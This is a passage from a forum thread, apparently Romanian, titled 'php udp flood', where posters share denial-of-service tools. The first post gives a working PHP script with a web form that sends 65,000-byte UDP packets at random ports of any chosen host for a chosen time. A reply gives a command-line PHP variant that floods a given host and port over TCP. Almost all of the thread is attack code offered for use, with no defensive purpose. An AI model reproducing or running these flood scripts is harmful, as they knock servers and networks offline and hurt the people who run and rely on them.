Jump to content
paxnWo

php udp flood

Recommended Posts

rupe, try it out. tre sa aveti teava.

<?php

if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();

$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$pakits++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="x" value="phptools">
Host: <input type=text name=host value=localhost>
Length (seconds): <input type=text name=time value=9999>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="x" value="phptools">
Host: <br><input type=text name=host value=localhost><br>
Length (seconds): <br><input type=text name=time value=9999><br>
<input type=submit value=Go></form>';
}
?>

Link to comment
Share on other sites

[COLOR=#000000][COLOR=Orange]#!/usr/bin/php5[/COLOR][/COLOR][COLOR=#000000]
[COLOR=#0000BB]<?php
[/COLOR][COLOR=#007700]if ( !isset([/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]],[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]3[/COLOR][COLOR=#007700]]) ) {
echo [/COLOR][COLOR=#DD0000]"Usage:\n ./flood.php HOST PORT TIME\n\n"[/COLOR][COLOR=#007700];
exit();
}
echo [/COLOR][COLOR=#DD0000]"Host: "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]].[/COLOR][COLOR=#DD0000]"\nPort: "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]].[/COLOR][COLOR=#DD0000]"\nTime: "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]3[/COLOR][COLOR=#007700]].[/COLOR][COLOR=#DD0000]"\n\n"[/COLOR][COLOR=#007700];

[/COLOR][COLOR=#0000BB]$out [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]NULL[/COLOR][COLOR=#007700];
[/COLOR][COLOR=#0000BB]$pak [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700];
[/COLOR][COLOR=#0000BB]ignore_user_abort[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]TRUE[/COLOR][COLOR=#007700]);
[/COLOR][COLOR=#0000BB]set_time_limit[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700]);

[/COLOR][COLOR=#0000BB]$exec_time [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]3[/COLOR][COLOR=#007700]];
[/COLOR][COLOR=#0000BB]$time [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]time[/COLOR][COLOR=#007700]();
[/COLOR][COLOR=#0000BB]$max_time [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$time[/COLOR][COLOR=#007700]+[/COLOR][COLOR=#0000BB]$exec_time[/COLOR][COLOR=#007700];

[/COLOR][COLOR=#0000BB]$host [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]];

for ( [/COLOR][COLOR=#0000BB]$i [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700]; [/COLOR][COLOR=#0000BB]$i [/COLOR][COLOR=#007700]< [/COLOR][COLOR=#0000BB]65000[/COLOR][COLOR=#007700]; [/COLOR][COLOR=#0000BB]$i[/COLOR][COLOR=#007700]++ ) {
[/COLOR][COLOR=#0000BB]$out [/COLOR][COLOR=#007700].= [/COLOR][COLOR=#DD0000]'X'[/COLOR][COLOR=#007700];
}

while ([/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]) {
[/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#007700]++;
if ( [/COLOR][COLOR=#0000BB]time[/COLOR][COLOR=#007700]() > [/COLOR][COLOR=#0000BB]$max_time [/COLOR][COLOR=#007700]) {
break;
}[/COLOR][COLOR=#FF8000]
[/COLOR][COLOR=#0000BB]$fp [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]fsockopen[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]'tcp://'[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$host[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]$errno[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$errstr[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]5[/COLOR][COLOR=#007700]);
if ([/COLOR][COLOR=#0000BB]$fp[/COLOR][COLOR=#007700]) {
[/COLOR][COLOR=#0000BB]fwrite[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$fp[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$out[/COLOR][COLOR=#007700]);
[/COLOR][COLOR=#0000BB]fclose[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$fp[/COLOR][COLOR=#007700]);
}
}

echo [/COLOR][COLOR=#DD0000]"Completed with [/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#DD0000] (" [/COLOR][COLOR=#007700]. [/COLOR][COLOR=#0000BB]round[/COLOR][COLOR=#007700](([/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#007700]*[/COLOR][COLOR=#0000BB]65[/COLOR][COLOR=#007700])/[/COLOR][COLOR=#0000BB]1024[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]) . [/COLOR][COLOR=#DD0000]" MB) packets averaging "[/COLOR][COLOR=#007700]. [/COLOR][COLOR=#0000BB]round[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#007700]/[/COLOR][COLOR=#0000BB]$exec_time[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]) . [/COLOR][COLOR=#DD0000]" packets per second \n"[/COLOR][COLOR=#007700];[/COLOR][/COLOR]

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...